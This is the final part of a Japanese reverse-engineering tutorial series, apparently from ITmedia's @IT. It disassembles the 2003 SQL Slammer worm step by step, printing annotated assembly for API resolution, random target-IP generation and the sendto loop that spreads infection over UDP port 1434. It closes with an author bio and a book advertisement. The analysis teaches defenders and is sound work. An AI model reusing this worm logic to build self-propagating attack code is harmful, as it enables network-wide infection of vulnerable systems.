ここからSQL Slammerは、このスタック上に準備した文字列に、ebpからのオフセットを使ってアクセスしながら動作していきます。「ebp-○□h」がスタック上のどのデータを参照しているか、注意しながらコードを追いかけていきましょう。
seg000:0000012B mov esi, 42AE1018h ; LoadLibraryAのIATエントリのアドレスをesiに格納 seg000:00000130 lea eax, [ebp-2Ch] ; ebp-2Ch="ws2_32.dll"へのポインタをeaxに格納 seg000:00000133 push eax seg000:00000134 call dword ptr [esi] ; LoadLibraryA('ws2_32.dll')を実行 seg000:00000136 push eax ; ws2_32.dllのアドレスをスタックに積む
まずesiに42AE1018hを代入しています。これは、sqlsort.dllの「LoadLibraryA」を指すIATエントリのアドレスになります。つまり、42AE1018hのアドレスには、LoadLibraryAのアドレスが格納されています。
次に、ebp-2Ch(図7を参照すると、文字列“ws2_32.dll”のアドレス)をeaxに格納後、スタックにpushしています。これを引数としてLoadLibraryAを間接コールしています。LoadLibraryAの実行結果(つまり、ws2_32.dllのベースアドレス)はeaxに格納されます。このeaxをスタック上にpushし、後ほどGetProcAddressを呼び出すのに利用します。
次のコードブロックは前のコードブロックとほぼ同じ動作をします。
seg000:00000137 lea eax, [ebp-20h] ; 'GetTickCount'へのポインタをeaxに格納 seg000:0000013A push eax ; seg000:0000013B lea eax, [ebp-10h] ; 'kernel32.dll'へのポインタをeaxに格納 seg000:0000013E push eax seg000:0000013F call dword ptr [esi]; LoadLibraryA('kernel32.dll')を呼び出す seg000:00000141 push eax ; kernel32.dllのベースアドレスをスタックに積む
seg000:00000137〜seg000:0000013Aで、ebp-20h、つまり“GetTickCount”へのポ
インタをスタックに積んだ後、LoadLibraryAを呼び出し、“kernel32.dll”のロー
ドアドレスを取得し(eaxに格納)、それをスタックに積みます。
このコードブロック実行後のスタックは、図8のような形になっています。
次のコードブロックでは、GetProcAddressを呼び出して、GetTickCountのアドレスを取得します。
seg000:00000142 mov esi, 42AE1010h ; sqlsort.dllのIATエントリのアドレスをesiに格納 seg000:00000147 mov ebx, [esi] ; IATエントリの値をebxに格納 seg000:00000149 mov eax, [ebx] ; ebxが指しているアドレスから4バイトをeaxに格納 seg000:0000014B cmp eax, 51EC8B55h ; eaxと51EC8B55hを比較 seg000:00000150 jz short loc_157 ; 一致したらloc_157へジャンプ seg000:00000152 mov esi, 42AE101Ch ; 一致しなかったらesiに42AE101Chを格納 seg000:00000157 seg000:00000157 loc_157: seg000:00000157 call dword ptr [esi] ; esi=GetProcAddressのIATエントリアドレスを間接コールする。GetProcAddress(base addr of kernel32.dll, 'GetTickCount')。
このコードブロックでは、GetProcAddressを呼び出す前に、実行環境のバージョンのチェックを行います。MS02-039の脆弱性はMicrosoft SQL Server 2000(Microsoft Desktop Engine 2000)のSP1とSP2の両方とも影響を受けますが、GetProcAddressのアドレスを格納しているIATエントリの位置がSP1とSP2で若干異なります。seg000:0000014B〜seg000:00000150でバージョンに応じたIATエントリのアドレスを調整し、seg000:00000157でGetProcAddressを間接コールしています。
次に、後で攻撃パケットを送信する際に使うデータ構造体をスタック上に構築します。ここでは、struct sockaddr_in構造体を構築しています。sockaddr_in構造体の定義を以下に示します。
struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; };
seg000:00000159 call eax ; GetTickCountを実行 seg000:0000015B xor ecx, ecx ; ecxを0クリア seg000:0000015D push ecx ; 00000000hをスタックに積む seg000:0000015E push ecx ; 00000000hをスタックに積む seg000:0000015F push eax ; GetTickCountの実行結果をスタックに積む seg000:00000160 xor ecx, 9B040103h ; 0 XOR 9B040103h = 9B040103h seg000:00000166 xor ecx, 1010101h ; 9B040103h XOR 01010101h =9A050002h seg000:0000016C push ecx ; 9A050002hをスタックに積む
このコードブロックでは、sin_familyが0002(AF_INET)、sin_portが9A05h(ネットワークバイトオーダを考慮し、10進数にすると1434)となるように9A050002hをスタックに積んでいます。さらに、sin_addrにはGetTickCountの戻り値が入り、sin_zero[8]はseg000:0000015Dとseg000:0000015Eの命令によって0がセットされます。
このコードブロックを実行した後のスタックの状況は、図9になります。
次のコードブロックは、これまでに何度か出てきているコードとほぼ同じです。socket APIのアドレスをGetProcAddressで取得しています。
seg000:0000016D lea eax, [ebp-34h] ; 'socket'へのポインタ seg000:00000170 push eax seg000:00000171 mov eax, [ebp-40h] ; ws2_32.dllのベースアドレス seg000:00000174 push eax seg000:00000175 call dword ptr [esi] ; GetProcAddress(base addr of ws2_32.dll, 'socket')
次のコードブロックは、seg000:0000017Dのcall eaxでsocket APIを呼び出しています。socket APIを呼び出す前にスタックに引数を積んでいます。socket APIのプロトタイプをMSDN で確認してみると、
SOCKET WSAAPI socket( __in int af, __in int type, __in int protocol );
となっています。これを踏まえたうえで、コードを見てみます。
seg000:00000177 push 11h ; protocol = 11h( IPPROTO_UDP) seg000:00000179 push 2 ; type = 2 (SOCK_DGRAM) seg000:0000017B push 2 ; af = 2 (AF_INET) seg000:0000017D call eax ; socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) seg000:0000017F push eax ; socket の戻り値をスタックに積んでいる
このコードブロック実行後のスタックは図10のようになっています。
次のコードブロックはsendtoのアドレスを取得して、esiに格納しています。
seg000:00000180 lea eax, [ebp-3Ch] ; 'sendto'へのポインタをeaxに格納 seg000:00000183 push eax seg000:00000184 mov eax, [ebp-40h] ; 'ws2_32.dll’のベースアドレスをeaxに格納 seg000:00000187 push eax seg000:00000188 call dword ptr [esi] ; GetProcAddress(base addr of ws2_32.dll, 'sendto') seg000:0000018A mov esi, eax ; sendtoのアドレスをesiに格納 seg000:0000018C or ebx, ebx ; ebxを0クリア seg000:0000018E xor ebx, 0FFD9613Ch ; ebx=FFD9613Ch
これで攻撃のための準備が整いましたので、sendtoを使って攻撃パケットを送信します。まずは送信先(攻撃対象のIPアドレス)を決定しています。GetTickCountの戻り値をシードとして以下の計算を行い、ランダムなIPアドレスを生成しています。
seg000:00000194 loc_194: seg000:00000194 mov eax, [ebp-4Ch] ; GetTickCount()の結果をeax seg000:00000197 lea ecx, [eax+eax*2] ; ecx = eax+eax*2 seg000:0000019A lea edx, [eax+ecx*4] ; edx=eac+ecx*4 seg000:0000019D shl edx, 4 ; edxの値を4ビット左シフト seg000:000001A0 add edx, eax ; edx = edx + eax seg000:000001A2 shl edx, 8 ; edxの値を8ビット左シフト seg000:000001A5 sub edx, eax ; edx = edx - eax seg000:000001A7 lea eax, [eax+edx*4] ; eax = eax + edx * 4 seg000:000001AA add eax, ebx ; eax = eax + ebx seg000:000001AC mov [ebp-4Ch], eax ; eaxの値をebp-4chに格納
送信先のIPアドレスが決定したら、次にsendtoでパケットを送信します。ここで利用しているsendtoのプロトタイプは、MSDNによると以下のようになっています。
int sendto( __in SOCKET s, __in const char *buf, __in int len, __in int flags, __in const struct sockaddr *to, __in int tolen );
このプロトタイプを参考にして、スタックに積まれている値を見ていきます。
seg000:000001AF push 10h ; sendtoの引数tolen seg000:000001B1 lea eax, [ebp-50h] seg000:000001B4 push eax ; sockaddr_inへのポインタ(ebp-50h) をsendtoの引数*toとしてスタックに積む seg000:000001B5 xor ecx, ecx ; ecxを0クリア seg000:000001B7 push ecx ; flagsとしてスタックに00000000hを積む seg000:000001B8 xor cx, 178h ; 0 xor 178h = 178h seg000:000001BD push ecx ; lenとして178hを積む seg000:000001BE lea eax, [ebp+3] ; ebp+3を送信するバッファとして指定する seg000:000001C1 push eax seg000:000001C2 mov eax, [ebp-54h] ; socket()の戻り値をスタックに積む seg000:000001C5 push eax seg000:000001C6 call esi ; sendto(socketの結果、ebp+3、178h, 0, sockaddr_in構造体へのポインタ、10h) seg000:000001C8 jmp short loc_194 ; 送信が終わるとloc_194へ戻り、IPアドレスを変えつつひたすらsendtoを実行し、感染活動を行います。
引数の準備が完了したら、sendtoを実行し、ebp+3以降のメモリ上のデータを178hバイト(376バイト)送信しています。ebp+3からのスタック上のデータと、SQL SlammerのPcapのペイロードの値を比べてみると、一致していることが分かると思います。
今回は2003年に実際に世間を騒がせたマルウェア、SQL Slammerを題材にして解析を行ってきました。コード自体は今まで解析してきたシェルコードと大差がないため、割とすんなり読みこなせたのではないでしょうか?
アセンブラを読みこなすことで、SQL SlammerのIPアドレス生成アルゴリズムを解明し、その詳細な動作の仕組みや削除の方法(実はメモリ上で動作しているだけなので電源を切れば消えてしまう)などを理解できると思います。
全7回でお送りしてきましたリバースエンジニアリング入門も、今回で最終回になります。
第1回でも述べましたが、リバースエンジニアリング技術は、いまやマルウェアや攻撃コードの真髄を見抜くのに必須の技術といっても過言ではないと思います。高度化する攻撃側に対抗するためには、防御側もこの技術を身につけ、高度なセキュリティ技術を確立していく必要があります。今回の連載により、1人でも多くの方がリバースエンジニアリング技術に興味を持ち、その一歩を踏み出すきっかけにしていただけたら幸いです。
それでは、Let's 逆アセンブル!!
お知らせ
本連載の中でも利用しているMetasploitを体系的に解説した書籍、「実践Metasploit」(オライリー・ジャパン)が好評発売中です。本連載の著者陣も監訳を担当しています。本連載の中では紹介しきれなかったさまざまなMetasploitの機能を解説しています。
関連記事:あなたなら、自社システムをどう攻撃する?(@IT情報マネジメント)
オライリー・ジャパン:http://www.oreilly.co.jp/books/9784873115382/
アマゾン:http://www.amazon.co.jp/dp/4873115388
川古谷 裕平(かわこや ゆうへい)
2005年 日本電信電話株式会社入社。入社以来、ハニーポット技術やマルウェア解析技術の研究開発に従事。国内外のカンファレンスや学会で研究成果の発表を行っている。「アナライジング・マルウェア」の著者。
Copyright © ITmedia, Inc. All Rights Reserved.